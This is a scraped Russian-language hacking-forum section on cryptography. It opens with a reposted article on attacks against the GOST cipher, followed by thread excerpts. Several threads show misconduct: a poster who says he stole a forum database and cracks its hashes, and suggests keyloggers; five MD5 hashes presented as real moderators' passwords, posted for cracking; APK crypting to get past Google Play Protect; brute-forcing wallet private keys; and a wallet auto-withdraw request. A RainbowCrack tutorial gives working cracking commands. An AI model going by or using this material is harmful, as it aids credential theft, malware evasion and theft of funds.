Неудивительно, что ГОСТ стал интернет-стандартом, в частности, он включён во многие криптобиблиотеки, такие как OpenSSL и Crypto++, и становится всё популярнее за пределами страны своего происхождения. В 2010 году ГОСТ был заявлен на стандартизацию ISO как всемирный стандарт шифрования. Крайне малое количество алгоритмов смогли стать международными стандартами. ISO/IEC 18033-3:2010 описывает следующие алгоритмы: четыре 64-битных шифра — TDEA, MISTY1, CAST-128, HIGHT — и три 128-битных шифра — AES, Camellia, SEED. ГОСТ предлагается добавить в этот же самый стандарт ISO/IEC 18033-3.

Впервые в истории промышленной стандартизации мы имеем дело со столь конкурентоспособным алгоритмом в терминах оптимальности между стоимостью и уровнем безопасности. ГОСТ имеет за собой 20 лет попыток криптоанализа и до недавних пор его безопасность военного уровня не подвергалась сомнению.

Как стало недавно известно автору из приватной переписки, большинство стран высказались против ГОСТа на голосовании ISO в Сингапуре, однако результаты этого голосования будут ещё рассматриваться на пленарном заседании ISO SC27, так что ГОСТ всё ещё находится в процессе стандартизации на момент публикации этой работы.

Мнения экспертов по поводу ГОСТ

Ничто из имеющихся сведений и литературы по поводу ГОСТа не даёт оснований полагать, что шифр может быть небезопасным. Наоборот, большой размер ключа и большое число раундов делают ГОСТ, на первый взгляд, подходящим для десятилетий использования.

Все, кому знаком закон Мура, понимают, что, в теории, 256-битные ключи останутся безопасными по крайней мере 200 лет. ГОСТ был широко исследован ведущими экспертами в области криптографии, известными в области анализа блочных шифров, такими как Шнайер, Бирюков, Данкельман, Вагнер, множеством австралийских, японских и российских учёных, экспертами по криптографии от ISO, и все исследователи высказывались, что всё выглядит так, что он он может быть или должен быть безопасным. Хотя широкого понимания достигло мнение, что сама по себе структура ГОСТа крайне слаба, например, по сравнению с DES, в частности, диффузия не настолько хороша, однако это всегда обуславливалось тем, что это должно компенсироваться большим числом раундов (32), а также дополнительной нелинейностью и диффузией, обеспечиваемой сложением по модулю.

Бирюков и Вагнер писали: "Большое число раундов (32) и хорошо изученная конструкция Фейстеля, сочетаемая с последовательными Шенноновскими подстановками-перестановками, обеспечивают солидную основу безопасности ГОСТ". В той же самой работе мы читаем: "после значительных затрат времени и усилий, никакого прогресса в криптоанализе стандарта в открытой литературе достигнуто не было". Таким образом, не было никаких существенных атак, которые позволяли бы дешифрование или восстановление ключа в реалистичном сценарии, когда ГОСТ используется в шифровании со множеством разных случайных ключей. В противоположность этому, известно очень много работ по атакам на слабые ключи в ГОСТ, атаки со связанными ключами, атаки на восстановление секретных S-блоков. На Crypto-2008 был представлен взлом хэш-функции, основанной на этом шифре. Во всех атаках атакующий имеет значительно больший уровень свободы, чем ему обычно допускается. В традиционных применениях шифрования с использованием случайно выбираемых ключей до настоящего момента никаких серьёзных криптографических атак на ГОСТ найдено не было, что в 2010 году выражалось итоговой фразой: "несмотря на существенные усилия криптоаналитиков за прошедшие 20 лет, ГОСТ всё ещё не взломан" (Axel Poschmann, San Ling, and Huaxiong Wang: 256 Bit Standardized Crypto for 650 GE GOST Revisited, In CHES 2010, LNCS 6225, pp. 219-233, 2010).

Линейный и дифференциальный анализ ГОСТ

В широкоизвестной книге Шнайера мы читаем: "Против дифференциального и линейного криптоанализа ГОСТ вероятно более устойчив, чем DES". Основную оценку безопасности ГОСТа дали в 2000 году Габидулин и др. Их результаты очень впечатляющи: при заложенном уровне безопасности 2256, достаточно пяти раундов для защиты ГОСТа от линейного криптоанализа. Более того, даже при замене S-блоков на тождественные и единственной нелинейной операции шифра — сложения по модулю 232 — шифр всё равно стоек против линейного криптоанализа после 6 раундов из 32. Дифференциальный криптоанализ ГОСТа выглядит сравнительно более лёгким и привлекает больше внимания. Для 2128 уровня безопасности исследователи (Vitaly V. Shorin, Vadim V. Jelezniakov and Ernst M. Gabidulin: Linear and Differential Cryptanalysis of Russian GOST, Preprint submitted to Elsevier Preprint, 4 April 2001) предполагали достаточную стойкость на уровне 7 раундов. По их утверждению, взлом ГОСТа более чем на пяти раундах "крайне труден". Более того, двое японских исследователей показали, что классическая прямая дифференциальная атака с одной дифференциальной характеристикой имеет крайне малую вероятность для прохождения через большое число раундов. На основе факта изучения достаточно "хорошей" итеративной дифференциальной характеристики для ограниченного числа раундов (которая сама по себе имеет вероятность прохождения не лучше 2-11.4 на раунд), получено значения множества подходящих ключей менее половины. Для полнораундового ГОСТа такая атака с единственной характеристикой будет работать лишь с ничтожно малой частью ключей порядка 2-62 (и даже в этой малой части она будет иметь вероятность прохождения не более 2-360).

Более сложные атаки включают множества дифференциалов, следующих определённым паттернам, например с использованием отдельных S-блоков, имеющих нулевые дифференциалы, в то время как на других битах имеются ненулевые. Речь об атаках-различителях, основанных на плохих диффузионных свойствах ГОСТа. Лучшая из таких атак работает против 17 раундов ГОСТа, зависит от ключа и имеет сама по себе на выходе крайне слабый различитель от случайных данных, чтобы его как-то можно было использовать для получения информации о ключе.

Атаки скольжения и отражения

Согласно Бирюкову и Вагнеру, структура ГОСТа, включающая обратный порядок подключей в последних раундах, делает его стойким против атак скольжения (т.н. "слайд-атаки"). Однако из-за наличия большой величины самоподобия в шифре, это позволяет проводить атаки инверсии ключей на комбинации неподвижных точек и свойства "отражения" (т.н. "рефлективные атаки") для определённых слабых ключей. Сложность этой атаки 2192 и 232 подобранных открытых текстов.

Последние результаты

Новые атаки также используют отражение и фактически взломали ГОСТ, что и было представлено на конференции FSE 2011. Эти атаки также были открыты независимо автором данной работы. Атака требует 2132 байтов памяти, что фактически хуже, чем более медленные атаки с меньшим требованием к памяти.

Множество новых атак на основе самоподобия работают против всех ключей ГОСТа и позволяют взламывать полнораундовый ГОСТ с 256-битным ключом, а не только для слабых ключей, как было ранее. Все эти атаки требуют значительно меньше памяти и они значительно быстрее.

Эти новые атаки могут рассматриваться как примеры новой общей парадигмы криптоанализа блочных шифров, называемой "редукция алгебраической сложности", с обобщением этих атак на множество частных случаев атак с известными неподвижными точками, скольжением, инволюциями и циклами. Важно, что среди семейства всех этих атак есть такие, которые позволяют проводить криптоанализ ГОСТ без всяких отражений и без каких-либо симметричных точек, которые проявляются в ходе вычислений. Одним из примеров является простая атака взлома ГОСТа без отражений в данной работе.

Алгебраический криптоанализ и атаки с небольшой сложностью данных на шифры с уменьшенным числом раундов

Алгебраические атаки на блочные и потоковые шифры могут быть представлены в виде проблемы решения большой системы Булевых алгебраических уравнений, которая следует геометрии и структуре частной криптографической схемы. Сама идея восходит к Шеннону. На практике была представлена для DES (впервые представлена автором данной работы) как метод формального кодирования и может взламывать 6 раундов всего на одном известном открытом тексте. Манипуляция с уравнениями происходит на основе алгоритмов XL, базисов Грёбнера, метода ElimLin, SAT-решателей.

На практике алгебраические атаки реализованы против очень малого числа раундов блочных шифров, но уже приводили к взломам потоковых шифров, также есть и успехи во взломе сверхлёгких шифров для микрооборудования. Из-за трудностей в объёмах памяти и оценках затрат на вычисления их комбинируют с другими атаками.

Как взломать ГОСТ?

Алгебраическая атака на полнораундовый ГОСТ более подробно представлена в рассматриваемой публикации. В предыдущей работе автор уже изложил 20 алгебраических атак на ГОСТ и ожидает большого их числа в ближайшем будущем. Атака, предложенная в данной работе — не лучшая из них, но открывает простой (по крайней мере для понимания криптографами) путь для последующих разработок для создания специфичной методологии к взлому ГОСТа.

Практический результат пока скромен: 264 известных открытых текста и 264 памяти для хранения пар "открытый текст/шифртекст" позволяют взломать ГОСТ в 28 быстрее, чем простой перебор. Но в плане криптоанализа это делает полностью справедливым утверждение о том, что "ГОСТ взломан".

Выводы

ГОСТ спроектирован на обеспечение военного уровня безопасности на 200 лет вперёд. Большинство ведущих экспертов, изучавших ГОСТ, приходили к соглашению о том, что "несмотря на значительные криптоаналитические усилия на протяжении 20 лет, ГОСТ всё ещё не взломан". В 2010 году ГОСТ продвигают в ISO 18033 в качестве мирового стандарта шифрования.

Основа идей об алгебраическом криптоанализе возникла более 60 лет назад. Но только лишь за последние 10 лет были разработаны эффективные программные средства (частичного) решения множества NP-полных проблем. Было взломано некоторое число потоковых шифров. Только один блочный шифр был взломан этим методом — сам по себе слабый KeeLoq. В этой работе автор взламывает важный, реально используемый шифр ГОСТ. Он отмечает, что это первый случай в истории, когда алгебраическим криптоанализом был взломан стандартизированный государственный шифр.

Простая атака "MITM с отражением" на ГОСТ уже представлена на конференции FSE 2011. В работе же, рассматриваемой в данной статье, представлена другая атака лишь для иллюстрации факта того, как много атак на ГОСТ уже появилось сейчас, многие из которых быстрее, а сама алгебраическая атака требует намного меньше памяти и открывает практически неисчерпаемое пространство возможностей для противника, атакующего шифр разными способами. Также в данной работе показано отсутствие необходимости использования свойства отражения для взлома.

Автор утверждает: очевидно, что ГОСТ имеет серьёзные изъяны и теперь не обеспечивает уровня стойкости, требуемого ISO. Множество атак на ГОСТ представлено в рамках подтверждения парадигмы редуцирования алгебраической сложности.

Напоследок исследователь особенно отмечает некоторые факты, которые пока недоступны читателю, но известны исследователю, являющиеся важными в ходе процесса стандартизации ISO. Данная атака — не просто "сертификационная" атака на ГОСТ, которая быстрее перебора грубой силой. Фактически, стандартизация ГОСТа сейчас была бы крайне опасной и безответственной. Это так потому, что некоторые из атак возможны к осуществлению на практике. Некоторые ключи ГОСТа на практике даже могут быть дешифрованы, будь они слабые ключи или ключи из частных реальных применений ГОСТа. В предыдущей работе автор приводит детальное рассмотрение случаев возможности практических атак. Важно также то, что "это первый случай в истории, когда серьёзный стандартизированный блочный шифр, созданный для защиты секретов военного уровня и предназначенный для защиты документов государственной тайны для правительств, крупных банков и других организаций, оказался взломан математической атакой".

Источник SecurityLab

Асинхронное шифрование
ID: 676536fbb4103b69df3738fc
Thread ID: 20995
Created: 2011-01-17T20:10:45+0000
Last Post: 2011-01-18T05:23:42+0000
Author: haxvaq
Replies: 4 Views: 4K

Существует ли метод/алгоритм для генерации паблик ключа на основе известного приватного ключа асинхронного алгоритма шифрования AES? Если нет, то возможно ли такое теоретически?

Раскрыт самый большой секрет Skype
ID: 676536fbb4103b69df3738fe
Thread ID: 19993
Created: 2010-07-09T05:32:19+0000
Last Post: 2010-07-10T18:55:22+0000
Author: GOONER
Replies: 2 Views: 4K

По ссылке находятся исходники обфусцированного алгоритма шифрования RC4, который используется в Skype для шифрования трафика.

Более 10 лет Skypе предлагал нам защиту, о которой мы ничего не знали. Так называемая security through obscurity. Obscurity в данном случае была очень хорошей, поскольку за все это время почти никто так и не разобрался как же оно все работает, не смотря на обилие скайповских бинарников. А те, кто смогли, по понятным причинам не публиковали свои наработки.

У одной из западных компаний, занимающейся криптографией, пару месяцев назад утекли результаты исследования скайпа, которые резко стали использоваться хакерами и спамерами, Skype их начал абьюзить и, как результат, компания выложила их во всеобщий доступ.

Это не готовое решение. О том, как слушать скайповский траффик с помощью этой функции они расскажут в Берлине на The 27th Chaos Communication Congress (27C3)

Не все шифрование в скайпе такое простое и большая его часть реализована по всем правилам.
В скайпе 7 типов шифрования разговоров: Сервера используют AES-256, суперноды и клиенты используют 3 разных типа RC4: старый TCP RC4, старый UDP RC4 и новый, основанный на DH-384 TCP RC4.
Клиенты так же используют AES-256 поверх RC4.

Источник: habrahabr

TotalCmd
ID: 676536fbb4103b69df373901
Thread ID: 18933
Created: 2010-01-27T20:41:34+0000
Last Post: 2010-04-14T07:35:51+0000
Author: DarckSol
Replies: 7 Views: 4K

В каком виде TotalCommander хранить пасы от фтп? Интересует какой функцией можно расшифровать hesh...

demRC4 Encryptor\decryptor
ID: 676536fbb4103b69df373902
Thread ID: 18089
Created: 2009-08-04T11:08:02+0000
Last Post: 2010-03-08T09:48:34+0000
Author: demien
Replies: 6 Views: 4K

demRC4 Encryptor\decryptor
cod3t by demien
icq 414-8888-1-8

infO:
Программа для шифрования\дешифрования
любых текстовых строк, текста и т.д. любым паролем.

screeN:

downloaD:
sendspace.com/file/rpzjh7

Взлом зашифрованного файла.
ID: 676536fbb4103b69df373906
Thread ID: 9405
Created: 2006-06-23T06:22:16+0000
Last Post: 2009-08-15T06:35:41+0000
Author: Ar3s
Replies: 5 Views: 4K

Вот, собственно, столкнулся с проблемой.
Человечек зашифровал средствами Windows свою папку. После этого переустановил винду. И ессно папка более не читабельна. Подскажите чем и как можно достать содержимое.

Подскажите алгоритм криптования
ID: 676536fbb4103b69df37390b
Thread ID: 16966
Created: 2009-02-19T04:01:34+0000
Last Post: 2009-02-21T18:19:57+0000
Author: Грот
Replies: 8 Views: 4K

У меня следующая проблема нужно получить пароль из следующего алгоритма

204630443730353333393645373635424635324445313231333343463141464538

так он выглидит в Heh

F0D7053396E765BF52DE12133CF1AFE8 а так выглидит в ASCII.

для сравнения

вот
20334531393533423537323537364343383238383744343130304132394130324319в Heh

3E1953B572576CC82887D4100A29A02C в ASCII.

расшифровываеться как 4283 - это пас.

р.с. этот алгоритм используеться в 1С

Нужна помощь
ID: 676536fbb4103b69df373911
Thread ID: 15880
Created: 2008-10-05T11:17:02+0000
Last Post: 2008-10-05T20:13:03+0000
Author: smsu
Replies: 12 Views: 4K

Привет всем! :) вот на днях столкнулся с такой проблемой,есть у меня текстовый файл зашифрованый не понятным алгоритмом с использованием ключа,я сначала подумал что это обычный XOR (кстати ключ к файлу 1653) но нет это что то другое,так вот хотелось бы услышать мнение экспертов что это может быть? :D

Исходный текст это windows-1251 после шифрования вот такое говно получается на выходе.

Срочно
ID: 676536fbb4103b69df373913
Thread ID: 14549
Created: 2008-02-08T02:12:35+0000
Last Post: 2008-02-09T23:35:38+0000
Author: molniya
Replies: 9 Views: 4K

Всем привет.У меня возникла некая проблема.Кстати очень рад что сайт опять работает а то я как то не однократно пробовал заходить но ничего неполучалось.

Проблема в следующем Я купил недавно сайт После замены пороля .Вышел что вновь авторизоваться .Набираю пороль а в админку не пускает.Набирал пороль
16 значением. После просмотра в сервере seting.php обнаружил что пороль 15 значный но очень похож на мой.Постарался без одной буквы вписать Но увы так как чайник ТО ничего соответственно не получилось

Вот это чудо очень нужно расшифровать ËùØää%Üí96Ïâüó7

Знаю что этот форум насыщен спецами. По крайне мере было именно так когда я регистрировался.

Расшифровываем пароль к аккам QIP
ID: 676536fbb4103b69df373924
Thread ID: 12665
Created: 2006-10-18T11:46:39+0000
Last Post: 2006-10-19T05:13:30+0000
Author: Crow
Replies: 10 Views: 4K

Народ! Пароль от учётной записи в клиенте qip хранится в файлике Config.ini. Каким алгоритмом он зашифрован?

Курс криптографии University of Washington
ID: 676536fbb4103b69df37392c
Thread ID: 9028
Created: 2006-06-05T05:49:33+0000
Last Post: 2006-09-04T16:29:13+0000
Author: Winux
Replies: 5 Views: 4K

Курс криптографии University of Washington

University of Washington подготовил совершенно бесплатный курс по криптографии. Его онлайн версия доступна тут.
Скачать презентации, видео (mp3, WMV), домашние задания и т.п. можно тут.
Язык, конечно английский.
Источник: web-hack.ru[New$paN]

invisible secrets
ID: 676536fbb4103b69df37392f
Thread ID: 8195
Created: 2006-05-03T11:28:54+0000
Last Post: 2006-08-24T22:13:20+0000
Author: maybe78
Replies: 4 Views: 4K

Вот прошу вас познакомить с лучший имхо прогой для шифрования файлов, дисков, папок, и т.д, чем то напомнила Steganos Security Suite , главный + программы она бесплатна в отличие от Hide Private File Pro, и она функциональней, советую заценить :yahoo: .

:zns5: [Скачать|Download](http://dl2.web- hack.ru/download/invisible_secrets_4.0.7.rar)

Поиск пароля по хэшу
ID: 676536fbb4103b69df373933
Thread ID: 9121
Created: 2006-06-09T20:10:29+0000
Last Post: 2006-06-17T21:13:24+0000
Author: ZXroot
Replies: 8 Views: 4K

Недавно свистнул базу с одного форума и начал подбирать пассы по хэшам. И это дело у меня так затянулось, что я решил подумать: как же ускорить процесс?
Как ни пытайся подключать к своему компу всё больше и больше памяти (некоторые закупают гигабайтами), а взлом хэша полным перебором занимает много времени. Полным перебором давольно долго, даже с дополнительной DDR, на это дело уходит полчаса, не меньше, при лёгком пассворде. Теперь, давай подумаем: как же изменить ситуацию в корне? Как? Всё просто(как я ещё год-полтора назад до этого не додумался): перед началом брута нужно генерировать словари! Даже 50 мегабайтовый словарь PasswordsPro кушает за 10-15 секунд!! У меня сгенерированный словарь спецсимволов+нижний регистр, который весит 10 мегабайт подобрался за 5 секунд! При обычно переборе всё это может занять не меньше 10 минут. Согласись, разница шокирует. Теперь нагенерировал всевозможные словари (буквенные, числовые, спецзнаки) и сплю спокойно. Правда, всё это добро отнимает у меня много места винте, но ради часа сэкономленного времени (не на одном пассе, а в совокупности) потерпеть можно. Поверь. Само генерирование словарей занимает мало времени: все пассы от 1 до 999999 генерировались примерно полминуты, даже меньше. И что мне показалось, хотя наверное просто показалось, что для PasswordsPro не имеет значения размер словаря: что 80 мегабайтный, что 2 мегабайтный - подбираются в течение 10 секунд.
Итак, закупаем 500 гигабайтный винт, скидываем туда словарь из всех семизначных паролей, состоящих из a..z, 0..9, @#$ и давай ломать хэши(взлом хэша займёт "всего" 2 часа, а при полном переборе, ты можешь на него вообще забить: 30 дней! ).
Хотя есть другой выход: точно знать из скольки символов состоит пасс. Или вовсе поставить на машине, на которой набирается пароль, кейлоггер. В общем выход для каждого свой.

MD5HBN
ID: 676536fbb4103b69df373934
Thread ID: 8757
Created: 2006-05-27T22:00:11+0000
Last Post: 2006-06-08T22:00:47+0000
Author: ZXroot
Replies: 6 Views: 4K

MD5 Hack Bot Net - возможно, если распределённо по всем машинам в Сети подбирать пароль по md5 хэшу, то этот процесс сократится. Осталось написать клиент серверную программу (C или Asm) и распространить среди псотоянных пользователей Сети.
Идея, конечно, бредовая, но не лишена оснований.

Ламерский конкурс
ID: 676536fbb4103b69df373949
Thread ID: 157
Created: 2005-01-08T15:18:35+0000
Last Post: 2005-01-30T00:23:01+0000
Author: c31337
Replies: 4 Views: 4K

Вот хэши пассов модераторов одного игрового форума. Кто расшифрует скажу откуда пассы.
Форум не популярен, так что не думайте, что от microsoft.com хэши.
8a08fb57523e44d2378c11e1690a82b1
9ddfb1d10bd827312035be7c64e94b9b
08ef7dd4e4e7572485d85d831e8f6cb0
7d7c8c1026e6253ccd10a4d28284085f
c234b8af90c1a217f225b34eadca112d
ах да. Кому не ясно это расшифровывается с помощью проги md5inside или md5hashinside.

SAMInside
ID: 676536fbb4103b69df37393c
Thread ID: 4253
Created: 2005-07-11T10:22:20+0000
Last Post: 2006-04-24T04:14:11+0000
Author: Winux
Replies: 1 Views: 4K

Программа SAMInside обновилась до версии 2.4.1.0. В новой версии:

-Скорость атаки полным перебором при малом количестве LM-хэшей увеличена на 5-8%.
-Добавлена ссылка на On-line программу "Rainbow-калькулятор".
-Добавлена обработка ситуации, когда используется импорт локальных хэшей (с использованием подключения к процессу LSASS) на компьютерах с Windows XP+SP2 с включенной DEP, что приводит к перезагрузке компьютера.

:zns5: Скачать

Advanced Guestbook 2.3.1 хеш
ID: 676536fbb4103b69df373942
Thread ID: 5451
Created: 2005-11-05T05:41:49+0000
Last Post: 2005-11-10T12:35:55+0000
Author: durito
Replies: 5 Views: 4K

выглядит 5c069c923416e2fd
кто знает что это за шифрование?

Insidepro 2.4.0.0 (final)
ID: 676536fbb4103b69df373946
Thread ID: 4099
Created: 2005-06-13T18:37:31+0000
Last Post: 2005-06-14T17:57:38+0000
Author: Winux
Replies: 1 Views: 4K

Программа SAMInside обновилась до версии 2.4.0.0. В новой версии:

Добавлен новый вид атаки - атака по предварительно рассчитанным таблицам.Примечания:
Поддерживаются Rainbow-таблицы, сгенерированные утилитой "rtgen.exe" версии 1.2.
В Demo-версии доступна атака только по одному *.RT-файлу!
Добавлено отображение описания пользователей из файлов реестра SAM.
Добавлен импорт хэшей из программы Cain&Abel.
Добавлен экспорт найденных паролей в формате "User name: Password".
В несколько раз увеличена скорость атаки по словарю.
Увеличено количество обрабатываемых пользователей до 65536.
В статистике добавлено отображение времени окончания атаки.
Расширены настройки атаки по словарю.
Добавлен экспорт статистики.
Добавлена строка состояния для отображения расширенной информации о пунктах меню программы.
Панель статистики перенесена в нижнюю часть программы.
Добавлена возможность сворачивания программы в трей.
Добавлен еще один параметр командной строки: -minimize - запуск программы с минимизацией в трей.
:zns5: Скачать InsidePro 2.4.0.0 (final)

Ссылки
ID: 676536fbb4103b69df373945
Thread ID: 4149
Created: 2005-06-25T21:50:04+0000
Last Post: 2005-06-28T17:01:00+0000
Author: AKella
Replies: 1 Views: 3K

Сюда предлогаю вылаживать ссылки на интересные сайты по криптографии.

Как я ускорил подбор криптокошельков до 20 000 ключей в секунду: моя история и выводы
ID: 676536fbb4103b69df37371d
Thread ID: 125150
Created: 2024-10-19T20:51:43+0000
Last Post: 2024-12-13T16:46:33+0000
Author: ZeR0ShKa
Replies: 35 Views: 3K

Приветствую всех любителей криптовалют и тех, кто стремится найти новые возможности в этом мире! Сегодня я хочу поделиться своей историей о том, как я решил глубоко изучить устройство криптокошельков и через упорство, ошибки и оптимизацию ускорил процесс подбора приватных ключей до 20 000 в секунду. Это не просто техническая задача — это вызов для каждого, кто верит в возможности технологии.
Как все началось: Metamask и BIP39

Моя первая остановка была на Metamask — одном из самых популярных кошельков. Для входа нужно использовать набор из 12–24 слов из словаря BIP39, содержащего 2048 слов. Число возможных вариантов кошельков просто колоссально! И, конечно, я задался вопросом: как можно это ускорить? Первый код позволял проверять 500 000 кошельков в час — на тот момент казалось, что это впечатляющая цифра. Но вскоре стало ясно, что с такой скоростью много не заработаешь, ведь большинство кошельков оказывались пустыми.
Тогда я обратился к многопоточности и асинхронности, что увеличило скорость до 1 миллиона кошельков в час. Но и этого мне было недостаточно, ведь за несколько дней работы не удалось найти ни одного "удачного" кошелька.
От эфира к биткоину

Поняв, что проверка кошельков Metamask приносит слишком мало результатов, я переключился на биткоин. Важно было сфокусироваться на более востребованной криптовалюте. И тут начались новые поиски: кошелек Electrum, попытки его интеграции, первые проблемы. Но, как оказалось, самые сложные решения могут быть и самыми эффективными.
Оптимизация работы с ключами

После изучения устройства биткоин-кошельков, я обнаружил, что можно значительно ускорить процесс, если минимизировать количество операций. Важным моментом стало то, что можно работать полностью офлайн — это кардинально изменило подход.
Я написал парсер для блокчейна и собрал 700 000 публичных адресов с транзакциями. Однако моя первая большая ошибка заключалась в том, что я не собрал сразу все адреса. Проверка транзакций была проще, чем проверка баланса, но, несмотря на это, скорость работы программы тогда составляла всего 144 000 кошельков в час.
Прорыв: как я увеличил скорость до 2000 кошельков в секунду

Не устраиваясь на достигнутом, я продолжил оптимизацию и через несколько бессонных ночей довел скорость до 2000 кошельков в секунду. В процессе я обнаружил, что моя программа замедляется из-за того, что сохраняет каждый кошелек в текстовый файл. Учитывая количество генерируемых ключей, этот процесс заполнял память и тормозил работу.
Решение оказалось простым: отказаться от сохранения. Вероятность сгенерировать один и тот же кошелек повторно крайне мала, а значит, незачем хранить все ключи. Это позволило сделать еще один значительный шаг вперед.
Достижение 6000 ключей в секунду и планы на будущее

После оптимизации и избавления от ненужных библиотек, скорость работы программы возросла до 6000 ключей в секунду. И снова я был доволен, но понимал, что потенциал не исчерпан. Следующий шаг — использование видеопамяти и переписывание кода на C++. Именно это позволит достичь новой цели — 20 000 приватных ключей в секунду.
Что дальше?

Моя цель — создать систему, которая будет генерировать приватные ключи с беспрецедентной скоростью, достигнув показателя в 20 000 ключей в секунду. Это требует не только оптимизации, но и нового оборудования. В планах — подключить майнинг, задействовать мощности видеокарт и достичь настоящих высот в этой игре.
Мой путь показал, что успех приходит не сразу. Нужно тестировать, экспериментировать, ошибаться и пробовать снова. Если вы увлечены криптовалютами и новыми технологиями — вас ждет много интересных открытий, если не бояться сложных задач и готовы их решать. Каждое улучшение — это шаг вперед, а в нашем мире скорости и производительности — важен каждый ключ и каждый кошелек.
Добро пожаловать в мир криптографии, где упорство и знания могут открыть новые горизонты.

Bypass Google play protect 4+hours
ID: 676536fbb4103b69df373726
Thread ID: 124237
Created: 2024-10-06T18:09:56+0000
Last Post: 2024-11-20T21:24:15+0000
Author: ritred
Replies: 39 Views: 3K

крипт апк от гпз.
Держит ~4+ часов
Актуально на момент создания темы.
Для крипта понадобится:
Android
Apk tool
Np manager

Радужные таблицы и RainbowCrack для взлома хешей на Kali
ID: 676536fbb4103b69df373757
Thread ID: 82302
Created: 2023-02-19T15:41:32+0000
Last Post: 2024-02-13T17:14:46+0000
Author: pablo
Prefix: Статья
Replies: 25 Views: 3K

В сегодняшней статье покажу, как с помощью радужных таблиц и инструмента RainbowCrack взломать хеш на Kali Linux.

Что такое радужная таблица и хеш пароля​

Теории касаемо радужных таблиц и хешей огромное множество, поэтому попробую объяснить простым языком.

Пароли сайтов или сетей Wi-Fi не хранятся в открытом виде. Сохраненные пароли хешируются различными методами хеширования, такими как LM, NTLM, MD5, SHA1 и т. д. Функция хеширования преобразует пароли в случайный набор чисел и символов.

Перед атакой с использованием радужной таблицы, хакер должен сначала получить хеш пароля. Например, он может найти уязвимость в Active Directory или получить хеш паролей пользователей сайта с недостаточно защищенной базой данных паролей.

Хакер крадет хеши паролей пользователей и используя радужную таблицу, пытается взломать хеш и получить пароли.

Радужные таблицы — это предварительно рассчитанные хеши, которые используются для быстрого взлома хешей, т.е. восстановления паролей из полученного хеша. Радужные таблицы — это базы данных, в которых паролю соответствует вычисленный хеш.

Брутфорс vs радужная таблица​

Как вы знаете, атака брутфорс использует список паролей. Брут паролей требует много времени и вычислительных ресурсов компьютера, в частности видеокарты. Но, в отличие от радужных таблиц, не использует много памяти.

Радужная таблица работает иначе, требуется меньшее время, но больше памяти. В целом, взлом хеша с помощью радужных таблиц происходит намного быстрее, чем атака брутфорс.

Существует несколько типов радужных таблиц в зависимости от типа хэшей, символов и длины пароля. Например, радужная таблица предназначена для SHA1 и использующая все строчные буквы (a,b,c…z), с длиной пароля от 1 до 7, будет отличаться от радужной таблицы для SHA1, пароль в нижнем регистре с длиной от 1 до 9.

Скачать радужные таблицы (бесплатно и платно), можно на этом сайте.
rainbow-tables-kali-linux-2.png
Радужные таблицы разделены по алгоритмам хеширования (LM, NTLM, MD5, SHA1), кодировке (числовая, строчная и т. д.), и длине пароля.

Можно скачать радужные таблицы или создать свои собственные, отвечающие определенный требованиям и заточенный под определенный хеш.

Здесь следует отметить, что радужные таблицы много весят (от 20 ГБ до более ТБ).

Создание радужной таблицы с помощью RainbowCrack​

Для создания радужной таблицы, можно использовать предустановленный на Kali Linux инструмент [RainbowCrack](https://github.com/inAudible-NG/RainbowCrack- NG).

Создание радужной таблицы занимает много времени и места, но после создания таблицы ее можно использовать для быстрого взлома хеша.

Давайте попробуем создать радужную таблицу для взлома пароля MD5, состоящего из 4 символов и использующего только строчные буквы. Для этого откройте терминал Kali Linux и выполните команду rtgen.
rainbowcrack-rtgen-help.png

На приведенном выше скрине приведены примеры использования rtgen.

Чтобы сгенерировать радужную таблицу для хеша MD5, состоящего из 4 символов и использующего только строчные буквы, используем команду:

Code:Copy to clipboard

sudo rtgen md5 loweralpha 1 4 0 1000 1000 0

Где:

  • rtgen md5 создает радужную таблицу для хеша MD5.
  • loweralpha использует только строчные буквы.
  • 1 — минимальная длина пароля, а 4 — максимальная.
  • индекса таблицы, длина цепочки и номер цепочки установлены на 1000.

После выполнения будет создана радужная таблица. Можно видеть используемый набор символов и другую информацию.

rainbowcrack-rainbow-table-generated.png

Радужная таблица будет находиться в каталоге:

Code:Copy to clipboard

/usr/share/rainbowcrack

1rainbowcrack-rainbow-table-generataion- location.png

Взлом хешей с помощью радужной таблицы RainbowCrack​

У нас есть хеш MD5, длина пароля 4 символа в нижнем регистре.

Code:Copy to clipboard

d6ca3fd0c3a3b462ff2b83436dda495e

Для взлома хеша MD5 пароля состоящего из четырех символов, будем использовать созданную нами ранее радужную таблицу, но перед этим необходимо отсортировать радужную таблицу с помощью следующей команды:

Code:Copy to clipboard

sudo rtsort .

После выполнения команды, радужная таблица будет отсортирована.
0rainbowcrack-rtsort.png

Теперь используем RainbowCrack для взлома хеша пароля:

Code:Copy to clipboard

rcrack . -h d6ca3fd0c3a3b462ff2b83436dda495e

Где:

  • rcrack вызывает RainbowCrack для взлома хеша.
  • -h указывает на взлом хеша пароля.
  • d6ca3fd0c3a3b462ff2b83436dda495e — хеш md5.

rcrack.png
Пароль взломан мгновенно.

Также можно использовать список хешей из текстового файла.
list-of-hashs.png
Чтобы взломать все хеши из текстового файла, используем директиву -l:

Code:Copy to clipboard

rcrack . -l /home/kali/Desktop/hash.txt

7rainbowcrack-hash-file.png
Как видите, RainbowCrack за несколько секунд взломал хэши.

А теперь, самостоятельно создайте радужную таблицу MD5, с длиной пароля 6 символов, состоящий из строчных буквы и взломайте хеш.

Получилось? Поздравляю! Вы научились создавать и использовать радужные таблицы для взлома хешей, с помощью RainbowCrack на Kali Linux.

автор Quasar, spy-soft.net

Софт по автовыводу кошелька
ID: 676536fbb4103b69df3737a2
Thread ID: 79395
Created: 2023-01-07T00:11:50+0000
Last Post: 2023-06-01T22:41:08+0000
Author: Amfro
Replies: 6 Views: 3K

Ищу готовый софт по автовыводу с нескольких холодков

Вложенные криптоконтейнеры
ID: 676536fbb4103b69df3737b3
Thread ID: 87321
Created: 2023-05-05T10:35:51+0000
Last Post: 2023-05-10T19:06:17+0000
Author: gliderexpert
Replies: 60 Views: 3K

Есть тут люди которые на практике сами пробовали ломать Veracrypt и LUKS и достаточно хорошо разобрались в устройстве используемых алгоритмов шифрования?

Вопрос вот в чем . Есть том, зашифрованный LUKSом. На нем нужно хранить некую информацию.
Имеет ли смысл создавать вложенный контейнер Veracrypt - это улучшит криптостойкость, или ухудшит?
Ключевые фразы в обеих контейнерах длинные, брутфорсить даже на FPGA-кластерах смысла нет.

Пока имею следующие мысли
- может ухудшить - потому что уменьшаем энтропию - сигнатуры veracrypt контейнера известны, в теории можно осуществить known-plaintext attack. Если кладем на шифрованный LUKSом диск сразу сырые данные, вроде бы plaintext извлечь нельзя, т.к. никто не знает что это за данные.
